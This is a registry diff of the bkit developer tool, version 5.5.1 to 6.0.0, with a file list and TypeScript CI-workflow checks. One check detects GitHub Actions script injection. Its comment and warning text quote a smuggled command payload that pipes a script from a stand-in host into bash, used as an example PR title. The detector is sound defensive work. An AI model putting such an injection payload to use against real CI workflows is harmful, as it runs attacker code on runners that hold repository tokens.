@cbartens/bkit 5.5.1 → 6.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (288) hide show
  1. package/.bkit/README.md +30 -20
  2. package/.bkit/core/.agents/docs.md +1 -0
  3. package/.bkit/core/.agents/rules.md +35 -26
  4. package/.bkit/core/.bkit/README.md +29 -19
  5. package/.bkit/core/.bkit/authoring.md +117 -0
  6. package/.bkit/core/.bkit/cloud.md +11 -11
  7. package/.bkit/core/.bkit/comparison.md +5 -5
  8. package/.bkit/core/.bkit/install.md +19 -18
  9. package/.bkit/core/.bkit/jsonl.md +202 -122
  10. package/.bkit/core/.bkit/lite.md +1 -1
  11. package/.bkit/core/.bkit/pipeline.md +49 -52
  12. package/.bkit/core/.bkit/prompts.md +91 -167
  13. package/.bkit/core/.bkit/providers.md +29 -32
  14. package/.bkit/core/.bkit/templates.md +12 -11
  15. package/.bkit/core/.bkit/trackers.md +51 -28
  16. package/.bkit/core/.bkit/workflows.md +394 -355
  17. package/.bkit/core/AGENTS.md +16 -22
  18. package/.bkit/core/docs/templates/bkit-audit-accessibility.md +14 -38
  19. package/.bkit/core/docs/templates/bkit-audit-adoption.md +16 -40
  20. package/.bkit/core/docs/templates/bkit-audit-agents.md +19 -43
  21. package/.bkit/core/docs/templates/bkit-audit-aio-seo.md +16 -40
  22. package/.bkit/core/docs/templates/bkit-audit-analytics.md +14 -38
  23. package/.bkit/core/docs/templates/bkit-audit-annotations.md +11 -35
  24. package/.bkit/core/docs/templates/bkit-audit-app-performance.md +15 -39
  25. package/.bkit/core/docs/templates/bkit-audit-app-store.md +12 -36
  26. package/.bkit/core/docs/templates/bkit-audit-architecture.md +16 -40
  27. package/.bkit/core/docs/templates/bkit-audit-ci-performance.md +16 -40
  28. package/.bkit/core/docs/templates/bkit-audit-config.md +18 -42
  29. package/.bkit/core/docs/templates/bkit-audit-cost.md +16 -40
  30. package/.bkit/core/docs/templates/bkit-audit-coverage.md +15 -39
  31. package/.bkit/core/docs/templates/bkit-audit-database.md +16 -40
  32. package/.bkit/core/docs/templates/bkit-audit-dead-code.md +15 -39
  33. package/.bkit/core/docs/templates/bkit-audit-deferrals.md +15 -38
  34. package/.bkit/core/docs/templates/bkit-audit-dependencies.md +16 -40
  35. package/.bkit/core/docs/templates/bkit-audit-documentation.md +11 -35
  36. package/.bkit/core/docs/templates/bkit-audit-duplication.md +18 -42
  37. package/.bkit/core/docs/templates/bkit-audit-failures.md +13 -37
  38. package/.bkit/core/docs/templates/bkit-audit-flakes.md +12 -36
  39. package/.bkit/core/docs/templates/bkit-audit-gates.md +14 -38
  40. package/.bkit/core/docs/templates/bkit-audit-issues.md +15 -39
  41. package/.bkit/core/docs/templates/bkit-audit-llm.md +16 -40
  42. package/.bkit/core/docs/templates/bkit-audit-logs.md +14 -38
  43. package/.bkit/core/docs/templates/bkit-audit-models.md +12 -36
  44. package/.bkit/core/docs/templates/bkit-audit-privacy.md +12 -36
  45. package/.bkit/core/docs/templates/bkit-audit-prompts.md +15 -39
  46. package/.bkit/core/docs/templates/bkit-audit-red-team.md +15 -39
  47. package/.bkit/core/docs/templates/bkit-audit-reliability.md +15 -39
  48. package/.bkit/core/docs/templates/bkit-audit-repo.md +12 -36
  49. package/.bkit/core/docs/templates/bkit-audit-security.md +13 -37
  50. package/.bkit/core/docs/templates/bkit-audit-slop.md +14 -38
  51. package/.bkit/core/docs/templates/bkit-audit-testing.md +12 -36
  52. package/.bkit/core/docs/templates/bkit-audit-usability.md +16 -40
  53. package/.bkit/core/docs/templates/bkit-plan.md +97 -226
  54. package/.bkit/core/engine/checks/after/ci-yml.ts +39 -29
  55. package/.bkit/core/engine/checks/after/github.ts +95 -17
  56. package/.bkit/core/engine/checks/after/index.ts +10 -7
  57. package/.bkit/core/engine/checks/after/suppression.ts +8 -5
  58. package/.bkit/core/engine/checks/after/tools.ts +46 -91
  59. package/.bkit/core/engine/checks/before/env.ts +2 -2
  60. package/.bkit/core/engine/checks/before/files.ts +5 -4
  61. package/.bkit/core/engine/checks/before/index.ts +18 -1
  62. package/.bkit/core/engine/checks/before/repo.ts +168 -2
  63. package/.bkit/core/engine/checks/tips/catalogue.ts +16 -5
  64. package/.bkit/core/engine/checks/tips/detect.ts +34 -0
  65. package/.bkit/core/engine/checks/tips/index.ts +6 -6
  66. package/.bkit/core/engine/cli.ts +20 -53
  67. package/.bkit/core/engine/commands/analysis.ts +171 -140
  68. package/.bkit/core/engine/commands/ci/ci.ts +6 -6
  69. package/.bkit/core/engine/commands/comply.ts +77 -103
  70. package/.bkit/core/engine/commands/install/doctor.ts +2 -2
  71. package/.bkit/core/engine/commands/install/install.ts +57 -18
  72. package/.bkit/core/engine/commands/install/uninstall.ts +65 -28
  73. package/.bkit/core/engine/commands/land.ts +18 -12
  74. package/.bkit/core/engine/commands/lib.ts +79 -17
  75. package/.bkit/core/engine/commands/registry.ts +4 -0
  76. package/.bkit/core/engine/commands/setup/setup.ts +7 -7
  77. package/.bkit/core/engine/commands/stats.ts +204 -0
  78. package/.bkit/core/engine/commands/tips.ts +10 -5
  79. package/.bkit/core/engine/commands/workflow/branches.ts +741 -62
  80. package/.bkit/core/engine/commands/workflow/challenge.ts +673 -0
  81. package/.bkit/core/engine/commands/workflow/context.ts +853 -29
  82. package/.bkit/core/engine/commands/workflow/counters.ts +267 -84
  83. package/.bkit/core/engine/commands/workflow/decisions.ts +541 -0
  84. package/.bkit/core/engine/commands/workflow/disk.ts +2 -2
  85. package/.bkit/core/engine/commands/workflow/fids.ts +793 -33
  86. package/.bkit/core/engine/commands/workflow/issues.ts +407 -64
  87. package/.bkit/core/engine/commands/workflow/ledgers.ts +884 -27
  88. package/.bkit/core/engine/commands/workflow/locks.ts +26 -2
  89. package/.bkit/core/engine/commands/workflow/plan-blocks.ts +582 -0
  90. package/.bkit/core/engine/commands/workflow/plan-versions.ts +21 -0
  91. package/.bkit/core/engine/commands/workflow/prs.ts +166 -30
  92. package/.bkit/core/engine/commands/workflow/repo.ts +58 -8
  93. package/.bkit/core/engine/commands/workflow/roadmap.ts +16 -7
  94. package/.bkit/core/engine/commands/workflow/run-facts.ts +501 -0
  95. package/.bkit/core/engine/commands/workflow/runs.ts +179 -49
  96. package/.bkit/core/engine/commands/workflow/runtime.ts +22 -1
  97. package/.bkit/core/engine/commands/workflow/status.ts +142 -29
  98. package/.bkit/core/engine/commands/workflow/step-table.ts +339 -0
  99. package/.bkit/core/engine/commands/workflow/steps.ts +213 -88
  100. package/.bkit/core/engine/commands/workflow/summary.ts +398 -0
  101. package/.bkit/core/engine/commands/workflow/tests.ts +1013 -148
  102. package/.bkit/core/engine/commands/workflow/tracker.ts +1195 -0
  103. package/.bkit/core/engine/commands/workflow/workflows.ts +984 -207
  104. package/.bkit/core/engine/commands/workflow/workstreams.ts +11 -5
  105. package/.bkit/core/engine/commands/workflow/worktrees.ts +185 -8
  106. package/.bkit/core/engine/install/manifest.ts +11 -9
  107. package/.bkit/core/engine/install/modules/cloud.ts +21 -13
  108. package/.bkit/core/engine/install/modules/core.ts +250 -3
  109. package/.bkit/core/engine/install/modules/opencode.ts +2 -2
  110. package/.bkit/core/engine/install/version-file.ts +6 -2
  111. package/.bkit/core/engine/ledgers/migrate.ts +92 -0
  112. package/.bkit/core/engine/ledgers/status.ts +92 -15
  113. package/.bkit/core/engine/ledgers/telemetry.ts +1261 -254
  114. package/.bkit/core/engine/render/hosts.ts +4 -0
  115. package/.bkit/core/engine/render/models.ts +12 -0
  116. package/.bkit/core/engine/shared/branches.ts +4 -1
  117. package/.bkit/core/engine/shared/egress.ts +7 -0
  118. package/.bkit/core/engine/shared/json.ts +25 -7
  119. package/.bkit/core/engine/shared/settings.ts +157 -20
  120. package/.bkit/core/engine/shared/text.ts +361 -0
  121. package/.bkit/core/engine/tools/grammar-density.ts +215 -0
  122. package/.bkit/core/engine/tools/instructions-sources.ts +834 -0
  123. package/.bkit/core/engine/tools/instructions.ts +1751 -0
  124. package/.bkit/core/hooks/gateguard-engine.js +24 -23
  125. package/.bkit/core/hooks/guardrails-shell.js +2 -3
  126. package/.bkit/core/hooks/guardrails-tiers.js +7 -1
  127. package/.bkit/core/hooks/readguard-engine.js +2 -2
  128. package/.bkit/core/prompts/bkit-audit-generate.md +62 -25
  129. package/.bkit/core/prompts/bkit-build-challenge-1.md +40 -17
  130. package/.bkit/core/prompts/bkit-build-challenge-2.md +44 -17
  131. package/.bkit/core/prompts/bkit-build-install-skills.md +26 -13
  132. package/.bkit/core/prompts/bkit-build-plan-convert.md +74 -0
  133. package/.bkit/core/prompts/bkit-build-plan-current.md +26 -13
  134. package/.bkit/core/prompts/bkit-build-plan-execute.md +74 -26
  135. package/.bkit/core/prompts/bkit-build-plan-gaps-remediate.md +64 -23
  136. package/.bkit/core/prompts/bkit-build-plan-verify.md +57 -33
  137. package/.bkit/core/prompts/bkit-debug-abort-handover.md +29 -15
  138. package/.bkit/core/prompts/bkit-debug-failure-diagnose.md +34 -14
  139. package/.bkit/core/prompts/bkit-debug-failure-remediate.md +34 -17
  140. package/.bkit/core/prompts/bkit-debug-failure-reproduce.md +26 -13
  141. package/.bkit/core/prompts/bkit-debug-failure-soak.md +31 -16
  142. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-1.md +21 -11
  143. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-2.md +20 -11
  144. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-3.md +20 -11
  145. package/.bkit/core/prompts/bkit-design-generate.md +32 -14
  146. package/.bkit/core/prompts/bkit-design-organise.md +25 -12
  147. package/.bkit/core/prompts/bkit-design-review-1.md +31 -15
  148. package/.bkit/core/prompts/bkit-design-review-2.md +28 -13
  149. package/.bkit/core/prompts/bkit-design-spike.md +30 -13
  150. package/.bkit/core/prompts/bkit-design-update.md +33 -19
  151. package/.bkit/core/prompts/bkit-plan-generate.md +72 -18
  152. package/.bkit/core/prompts/bkit-plan-review-1.md +50 -27
  153. package/.bkit/core/prompts/bkit-plan-review-2.md +59 -28
  154. package/.bkit/core/prompts/bkit-plan-scope-check.md +109 -0
  155. package/.bkit/core/prompts/bkit-plan-update.md +61 -24
  156. package/.bkit/core/prompts/bkit-ship-conflict-resolve.md +27 -15
  157. package/.bkit/core/prompts/bkit-ship-deferred-sweep.md +31 -16
  158. package/.bkit/core/prompts/bkit-ship-update-docs.md +29 -14
  159. package/.bkit/core/prompts/bkit-utility-compress-markdown.md +24 -14
  160. package/.bkit/core/prompts/bkit-utility-update-decisions.md +32 -14
  161. package/.bkit/core/prompts/bkit-utility-update-deferrals.md +29 -14
  162. package/.bkit/core/prompts/bkit-utility-update-documentation.md +27 -12
  163. package/.bkit/core/prompts/bkit-utility-update-failures.md +31 -14
  164. package/.bkit/core/prompts/bkit-utility-update-knowledge.md +33 -14
  165. package/.bkit/core/prompts/bkit-utility-update-roadmap.md +38 -17
  166. package/.bkit/core/prompts/bkit-utility-update-tracker.md +41 -18
  167. package/.bkit/core/workflows/bkit-auto.md +54 -46
  168. package/.bkit/core/workflows/bkit-build.md +577 -458
  169. package/.bkit/core/workflows/bkit-debug.md +348 -333
  170. package/.bkit/core/workflows/bkit-design.md +201 -237
  171. package/.bkit/core/workflows/bkit-plan.md +210 -321
  172. package/.bkit/core/workflows/bkit-ship.md +328 -278
  173. package/.bkit/shared/.bkit/.env.example +2 -2
  174. package/.bkit/shared/.claude/settings.json +11 -0
  175. package/.bkit/shared/.cursor/mcp.json +1 -1
  176. package/.bkit/shared/.cursor/rules/bkit-rules.mdc +1 -1
  177. package/.bkit/shared/.gitattributes +1 -1
  178. package/.bkit/shared/.mcp.json +1 -1
  179. package/.bkit/shared/.opencode/opencode.json +11 -0
  180. package/.bkit/shared/CLAUDE.md +2 -2
  181. package/.bkit/shared/GEMINI.md +2 -2
  182. package/.bkit/shared/docs/architecture.md +1 -1
  183. package/.bkit/shared/docs/data-schema.md +1 -1
  184. package/.bkit/shared/docs/deployments.md +11 -11
  185. package/.bkit/shared/docs/design.md +1 -1
  186. package/.bkit/shared/docs/noise.md +1 -1
  187. package/.bkit/shared/docs/observability.md +2 -2
  188. package/.bkit/shared/docs/security.md +1 -1
  189. package/.bkit/shared/docs/setup.md +1 -1
  190. package/.bkit/shared/docs/technology.md +1 -1
  191. package/.bkit/shared/docs/testing.md +16 -7
  192. package/.bkit/templates/.claude/hooks/bkit-cloud-bootstrap.sh +1 -1
  193. package/.bkit/templates/.github/ISSUE_TEMPLATE/bkit-change.yml +26 -5
  194. package/.bkit/templates/.github/workflows/bkit-ci.yml +1 -1
  195. package/.bkit/templates/.github/workflows/bkit-cloud.yml +21 -19
  196. package/.bkit/templates/.husky/pre-push +4 -4
  197. package/.bkit/templates/.prettierignore +7 -0
  198. package/.bkit/templates/scripts/cleanup/bkit-disk-prune.mjs +1 -1
  199. package/CHANGELOG.md +112 -0
  200. package/README.md +50 -35
  201. package/dist/checks/after/ci-yml.js +39 -28
  202. package/dist/checks/after/github.js +91 -17
  203. package/dist/checks/after/index.js +11 -8
  204. package/dist/checks/after/suppression.js +8 -5
  205. package/dist/checks/after/tools.js +39 -82
  206. package/dist/checks/before/env.js +2 -2
  207. package/dist/checks/before/files.js +5 -3
  208. package/dist/checks/before/index.js +15 -2
  209. package/dist/checks/before/repo.js +163 -2
  210. package/dist/checks/tips/catalogue.js +14 -5
  211. package/dist/checks/tips/detect.js +32 -0
  212. package/dist/checks/tips/index.js +4 -4
  213. package/dist/cli.js +19 -47
  214. package/dist/commands/analysis.js +109 -100
  215. package/dist/commands/ci/ci.js +6 -6
  216. package/dist/commands/comply.js +54 -91
  217. package/dist/commands/install/doctor.js +2 -2
  218. package/dist/commands/install/install.js +50 -19
  219. package/dist/commands/install/uninstall.js +59 -28
  220. package/dist/commands/land.js +16 -12
  221. package/dist/commands/lib.js +51 -16
  222. package/dist/commands/registry.js +4 -0
  223. package/dist/commands/setup/setup.js +7 -7
  224. package/dist/commands/stats.js +136 -0
  225. package/dist/commands/tips.js +7 -3
  226. package/dist/commands/workflow/branches.js +656 -56
  227. package/dist/commands/workflow/challenge.js +556 -0
  228. package/dist/commands/workflow/context.js +709 -30
  229. package/dist/commands/workflow/counters.js +208 -75
  230. package/dist/commands/workflow/decisions.js +441 -0
  231. package/dist/commands/workflow/disk.js +2 -2
  232. package/dist/commands/workflow/fids.js +689 -33
  233. package/dist/commands/workflow/issues.js +343 -59
  234. package/dist/commands/workflow/ledgers.js +762 -27
  235. package/dist/commands/workflow/locks.js +24 -2
  236. package/dist/commands/workflow/plan-blocks.js +437 -0
  237. package/dist/commands/workflow/plan-versions.js +22 -0
  238. package/dist/commands/workflow/prs.js +142 -32
  239. package/dist/commands/workflow/repo.js +52 -8
  240. package/dist/commands/workflow/roadmap.js +9 -7
  241. package/dist/commands/workflow/run-facts.js +426 -0
  242. package/dist/commands/workflow/runs.js +144 -43
  243. package/dist/commands/workflow/runtime.js +12 -1
  244. package/dist/commands/workflow/status.js +130 -29
  245. package/dist/commands/workflow/step-table.js +276 -0
  246. package/dist/commands/workflow/steps.js +171 -80
  247. package/dist/commands/workflow/summary.js +275 -0
  248. package/dist/commands/workflow/tests.js +834 -136
  249. package/dist/commands/workflow/tracker.js +983 -0
  250. package/dist/commands/workflow/workflows.js +834 -195
  251. package/dist/commands/workflow/workstreams.js +11 -5
  252. package/dist/commands/workflow/worktrees.js +147 -9
  253. package/dist/install/manifest.js +11 -9
  254. package/dist/install/modules/cloud.js +22 -13
  255. package/dist/install/modules/core.js +247 -3
  256. package/dist/install/modules/opencode.js +2 -2
  257. package/dist/install/version-file.js +6 -2
  258. package/dist/ledgers/migrate.js +81 -0
  259. package/dist/ledgers/status.js +61 -8
  260. package/dist/ledgers/telemetry.js +905 -124
  261. package/dist/render/hosts.js +4 -0
  262. package/dist/render/models.js +12 -0
  263. package/dist/shared/branches.js +3 -1
  264. package/dist/shared/egress.js +7 -0
  265. package/dist/shared/json.js +20 -7
  266. package/dist/shared/settings.js +125 -17
  267. package/dist/shared/text.js +333 -0
  268. package/dist/tools/grammar-density.js +183 -0
  269. package/dist/tools/instructions-sources.js +721 -0
  270. package/dist/tools/instructions.js +1579 -0
  271. package/package.json +113 -24
  272. package/.bkit/core/engine/commands/harvest.ts +0 -459
  273. package/.bkit/core/engine/tools/wording.ts +0 -748
  274. package/.bkit/core/prompts/bkit-build-challenge-reconcile.md +0 -69
  275. package/.bkit/core/prompts/bkit-build-challenge-remediate.md +0 -71
  276. package/.bkit/core/prompts/bkit-build-challenge-tests.md +0 -74
  277. package/.bkit/core/prompts/bkit-build-summary.md +0 -94
  278. package/.bkit/core/prompts/bkit-debug-summary.md +0 -96
  279. package/.bkit/core/prompts/bkit-design-summary.md +0 -107
  280. package/.bkit/core/prompts/bkit-plan-complexity-check.md +0 -67
  281. package/.bkit/core/prompts/bkit-plan-complexity-split.md +0 -88
  282. package/.bkit/core/prompts/bkit-plan-review-3.md +0 -93
  283. package/.bkit/core/prompts/bkit-plan-scope-check-1.md +0 -85
  284. package/.bkit/core/prompts/bkit-plan-scope-check-2.md +0 -85
  285. package/.bkit/core/prompts/bkit-plan-summary.md +0 -107
  286. package/.bkit/core/prompts/bkit-ship-summary.md +0 -78
  287. package/dist/commands/harvest.js +0 -353
  288. package/dist/tools/wording.js +0 -680
@@ -6,6 +6,7 @@ import * as fs from "node:fs";
6
6
  import * as path from "node:path";
7
7
  import { readJsonFile } from "../../shared/json.js";
8
8
  import { readPackageJson } from "../../shared/package-json.js";
9
+ import { ciWorkflowPath, readBkitConfig } from "../../shared/settings.js";
9
10
  import type { PreflightFinding } from "../before/index.js";
10
11
  import { isAdvisorySuppressed, type SuppressionReporter } from "./suppression.js";
11
12
 
@@ -48,24 +49,26 @@ export function detectBkitCloudYmlAlwaysTrueGate(cwd: string): PreflightFinding
48
49
  }
49
50
 
50
51
  /**
51
- * Matches a `.github/workflows/bkit-ci.yml` copied from the bkit-ci.yml template: an uncommented
52
+ * Matches a CI workflow (`bkit.testing.ciWorkflow`) copied from the bkit-ci.yml template: an uncommented
52
53
  * job named `bkit-tests` or `bkit-tests-<lane>`, the job names every lane of the template
53
54
  * carries.
54
55
  */
55
56
  const ADOPTED_CI_JOB_RE = /^[ \t]+bkit-tests(?:-[\w-]+)?:[ \t]*$/m;
56
57
 
57
58
  /**
58
- * Detect a `.github/workflows/bkit-ci.yml` adopted from bkit's template with no `actionlint` step.
59
+ * Detect a CI workflow (`bkit.testing.ciWorkflow`, default `bkit-ci.yml`) adopted from bkit's
60
+ * template with no `actionlint` step.
59
61
  * `yaml.safe_load` (and generic YAML linters) accept workflows that are valid YAML
60
62
  * but invalid GitHub Actions (doubled quotes inside ${{ }}, always-true `if:` block
61
63
  * scalars). actionlint is GHA-aware and catches that class.
62
64
  *
63
65
  * Only fires when the consumer adopted the bkit-ci.yml template (ADOPTED_CI_JOB_RE).
64
- * bkit-ci.yml is the consumer's file, so `bkit install` never adds the step — the action
66
+ * The CI workflow is the consumer's file, so `bkit install` never adds the step — the action
65
67
  * inlines the manual step.
66
68
  */
67
69
  export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | null {
68
- const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
70
+ const ciRel = ciWorkflowPath(cwd);
71
+ const ciPath = path.join(cwd, ciRel);
69
72
  if (!fs.existsSync(ciPath)) return null;
70
73
  const content = fs.readFileSync(ciPath, "utf-8");
71
74
  if (!ADOPTED_CI_JOB_RE.test(content)) return null;
@@ -74,9 +77,10 @@ export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | nu
74
77
  id: "ci-yml-missing-actionlint",
75
78
  severity: "advisory",
76
79
  detect:
77
- ".github/workflows/bkit-ci.yml (adopted from bkit's template) has no actionlint step. yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
80
+ `${ciRel} (adopted from bkit's template) has no actionlint step. ` +
81
+ "yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
78
82
  action:
79
- "Add an actionlint step among the static checks in .github/workflows/bkit-ci.yml (before the test/build group):\n\n" +
83
+ `Add an actionlint step among the static checks in ${ciRel} (before the test/build group):\n\n` +
80
84
  " - name: Run actionlint\n" +
81
85
  " run: |\n" +
82
86
  ' curl -sSfL https://raw.githubusercontent.com/rhysd/actionlint/v1.7.12/scripts/download-actionlint.bash -o "$RUNNER_TEMP/download-actionlint.bash"\n' +
@@ -87,11 +91,11 @@ export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | nu
87
91
 
88
92
  /**
89
93
  * Detect an untrusted GitHub Actions expression interpolated directly into a `run:` shell
90
- * body in `.github/workflows/bkit-ci.yml` — the classic GHA script-injection sink. A PR titled
94
+ * body in the CI workflow (`bkit.testing.ciWorkflow`) — the classic GHA script-injection sink. A PR titled
91
95
  * `"; curl evil.sh | bash; "` expands into the runner's shell when `${{ github.event.* }}`
92
96
  * (or `github.head_ref`) is inlined into `run:` text. The safe form is env-indirection: map
93
97
  * the value to an `env:` var and reference `$VAR` (GitHub runtime-expands env values and never
94
- * re-parses them as shell). bkit-ci.yml is the consumer's file — bkit's template was hardened but
98
+ * re-parses them as shell). The CI workflow is the consumer's file — bkit's template was hardened but
95
99
  * nothing back-fills a copy adopted before the fix, so it keeps the vulnerable inline form.
96
100
  * This surfaces it as a dedicated security finding.
97
101
  *
@@ -99,10 +103,11 @@ export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | nu
99
103
  * indentation and flags untrusted expressions inside their bodies only. `env:` / `if:` /
100
104
  * `with:` / `concurrency:` contexts are NOT run bodies, so the safe env-indirection form does
101
105
  * not fire; a YAML-commented `run:` key never opens a body, so shipped commented stubs stay
102
- * silent. Only scans a bkit-ci.yml adopted from bkit's template (ADOPTED_CI_JOB_RE).
106
+ * silent. Only scans a CI workflow adopted from bkit's template (ADOPTED_CI_JOB_RE).
103
107
  */
104
108
  export function detectCiYmlRunInjection(cwd: string): PreflightFinding | null {
105
- const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
109
+ const ciRel = ciWorkflowPath(cwd);
110
+ const ciPath = path.join(cwd, ciRel);
106
111
  if (!fs.existsSync(ciPath)) return null;
107
112
  const content = fs.readFileSync(ciPath, "utf-8");
108
113
  if (!ADOPTED_CI_JOB_RE.test(content)) return null;
@@ -151,7 +156,7 @@ export function detectCiYmlRunInjection(cwd: string): PreflightFinding | null {
151
156
  id: "ci-yml-run-injection",
152
157
  severity: "advisory",
153
158
  detect:
154
- "SECURITY: .github/workflows/bkit-ci.yml interpolates untrusted GitHub Actions input " +
159
+ `SECURITY: ${ciRel} interpolates untrusted GitHub Actions input ` +
155
160
  "(github.event.* / github.head_ref) directly into a run: shell body — a script-injection " +
156
161
  'sink. A PR title or branch name like `"; curl evil.sh | bash; "` then runs on your CI ' +
157
162
  `runner (which holds GITHUB_TOKEN):\n${shown}${more}`,
@@ -170,24 +175,28 @@ export function detectCiYmlRunInjection(cwd: string): PreflightFinding | null {
170
175
  }
171
176
 
172
177
  /**
173
- * Detect drift of the consumer's `bkit-tests-check` capstone from bkit's canonical
174
- * CI contract. bkit-ci.yml is the consumer's copy of a template; bkit never rewrites it.
178
+ * Detect drift of the consumer's capstone job (`bkit.testing.ciCapstone`, default
179
+ * `bkit-tests-check`) from bkit's canonical CI contract. The CI workflow
180
+ * (`bkit.testing.ciWorkflow`) is the consumer's copy of a template; bkit never rewrites it.
175
181
  * WARNING-ONLY presence check: flags the ABSENCE of a known-good fragment, never
176
- * "differs from canonical". Fires when bkit-ci.yml defines a bkit-tests-check job (the
182
+ * "differs from canonical". Fires when the CI workflow defines the capstone job (the
177
183
  * template ships one).
178
184
  *
179
185
  * Every check reads `code` (full-line comments stripped): the template's commented
180
186
  * scaffold reference names `bkit-tests-check`, `!cancelled()` and `live_ran`.
181
187
  */
182
188
  export function detectCiYmlCapstoneContractDrift(cwd: string): PreflightFinding | null {
183
- const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
189
+ const ciRel = ciWorkflowPath(cwd);
190
+ const ciPath = path.join(cwd, ciRel);
184
191
  if (!fs.existsSync(ciPath)) return null;
192
+ const capstone = readBkitConfig(cwd).capstoneJob;
185
193
  const content = fs.readFileSync(ciPath, "utf-8");
186
194
  const code = content
187
195
  .split("\n")
188
196
  .filter((line) => !/^\s*#/.test(line))
189
197
  .join("\n");
190
- if (!/^\s+bkit-tests-check:/m.test(code)) return null; // no capstone job
198
+ const capstoneJobRe = new RegExp(`^\\s+${capstone.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}:`, "m");
199
+ if (!capstoneJobRe.test(code)) return null; // no capstone job
191
200
 
192
201
  const missing: string[] = [];
193
202
 
@@ -236,8 +245,8 @@ export function detectCiYmlCapstoneContractDrift(cwd: string): PreflightFinding
236
245
  id: "ci-yml-capstone-contract-drift",
237
246
  severity: "advisory",
238
247
  detect:
239
- `.github/workflows/bkit-ci.yml (adopted from bkit's template) has a bkit-tests-check capstone missing ${missing.length} ` +
240
- "load-bearing invariant(s) from bkit's canonical CI contract. bkit-ci.yml is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.",
248
+ `${ciRel} (adopted from bkit's template) has a ${capstone} capstone missing ${missing.length} ` +
249
+ `load-bearing invariant(s) from bkit's canonical CI contract. ${ciRel} is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.`,
241
250
  action:
242
251
  "Consider restoring these to keep `green == validated` (see the FULL CI SCAFFOLD REFERENCE in the bkit bkit-ci.yml template):\n\n" +
243
252
  missing.map((m) => " - " + m).join("\n"),
@@ -377,7 +386,7 @@ function tagUsedInTestTitle(text: string, tag: string, mask: Uint8Array): boolea
377
386
  * declares the script); a silent no-op otherwise. WARNING-only; the capstone's
378
387
  * `run_live => live_ran > 0` assertion is the runtime check.
379
388
  *
380
- * A package whose own `package.json` opts out (`bkit.ignoreAdvisories`) is dropped from the
389
+ * A package whose own `package.json` opts out (`bkit.advisories.ignore`) is dropped from the
381
390
  * list and reported via `onSuppressed`; sibling packages keep flagging, because the finding
382
391
  * aggregates every affected package into one entry.
383
392
  */
@@ -469,7 +478,7 @@ export function detectTaggedTestsWithoutCiHome(
469
478
  lines.join("\n") +
470
479
  '\n\nExample: `"test:live": "vitest run --project live"` (or your runner\'s tag filter). The bkit-tests-check capstone\'s `run_live => live_ran > 0` assertion is the runtime backstop; this catches it earlier.' +
471
480
  "\n\nFalse positive? A title that only MENTIONS the tag (a rule linter describing it, a meta/guard test naming the scenario) is indistinguishable from a real tagged test. Opt that package out in its package.json — per-package, and it drops only that package from this list:\n\n" +
472
- ' "bkit": { "ignoreAdvisories": ["tagged-tests-no-ci-home"] }',
481
+ ' "bkit": { "advisories": { "ignore": ["tagged-tests-no-ci-home"] } }',
473
482
  };
474
483
  }
475
484
 
@@ -534,7 +543,7 @@ export function detectTurboIntegrationInputs(cwd: string): PreflightFinding[] {
534
543
  * env-agnostic script provisioned at the lane), (3) the vitest integration config the
535
544
  * script points at (home of the documented in-file guard).
536
545
  *
537
- * Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.ignoreAdvisories`
546
+ * Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.advisories.ignore`
538
547
  * entry there drops the finding and reports it via `onSuppressed`.
539
548
  */
540
549
  export function detectTestIntegrationEnv(
@@ -600,7 +609,7 @@ export function detectTestIntegrationEnv(
600
609
  " - CI lane: set `TEST_REAL_APIS` / export the service-role URL / chain `supabase start` around `turbo run test:integration` in the `.github/workflows/*.yml` job that runs it (keeps local `pnpm test:integration` env-agnostic)\n" +
601
610
  " - vitest integration config: document/enforce the per-file `TEST_REAL_APIS` guard in the config the script `--config`s to.\n\n" +
602
611
  "Mocked by design (real-service coverage lives in E2E)? Opt out in the root package.json:\n\n" +
603
- ' "bkit": { "ignoreAdvisories": ["test-integration-env-not-asserted"] }',
612
+ ' "bkit": { "advisories": { "ignore": ["test-integration-env-not-asserted"] } }',
604
613
  };
605
614
  }
606
615
 
@@ -645,11 +654,13 @@ export function detectGhaFloatingTags(cwd: string): PreflightFinding | null {
645
654
  * system documented in deployments.md is documentation-only.
646
655
  *
647
656
  * "Composition" = a `steps.detect.outputs.should_*` READ on an uncommented line, in a
648
- * sibling workflow or in bkit-ci.yml itself. bkit's shipped steps only SET these outputs and
657
+ * sibling workflow or in the CI workflow itself. bkit's shipped steps only SET these outputs and
649
658
  * the example E2E gate ships commented (`bkit-stub:e2e`), so neither false-positives.
650
659
  */
651
660
  export function detectRunLevelsNotComposed(cwd: string): PreflightFinding | null {
652
- const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
661
+ const ciWorkflow = readBkitConfig(cwd).ciWorkflow;
662
+ const ciRel = ciWorkflowPath(cwd);
663
+ const ciPath = path.join(cwd, ciRel);
653
664
  if (!fs.existsSync(ciPath)) return null;
654
665
  const ciContent = fs.readFileSync(ciPath, "utf-8");
655
666
  // Bkit's bkit-ci.yml ships the `Detect Direct Push` step — if absent, no primitives to compose.
@@ -677,26 +688,25 @@ export function detectRunLevelsNotComposed(cwd: string): PreflightFinding | null
677
688
  // Any sibling workflow that gates on the outputs.
678
689
  for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
679
690
  if (!entry.isFile() || !/\.ya?ml$/.test(entry.name)) continue;
680
- if (entry.name === "bkit-ci.yml") continue; // checked below
691
+ if (entry.name === ciWorkflow) continue; // checked below
681
692
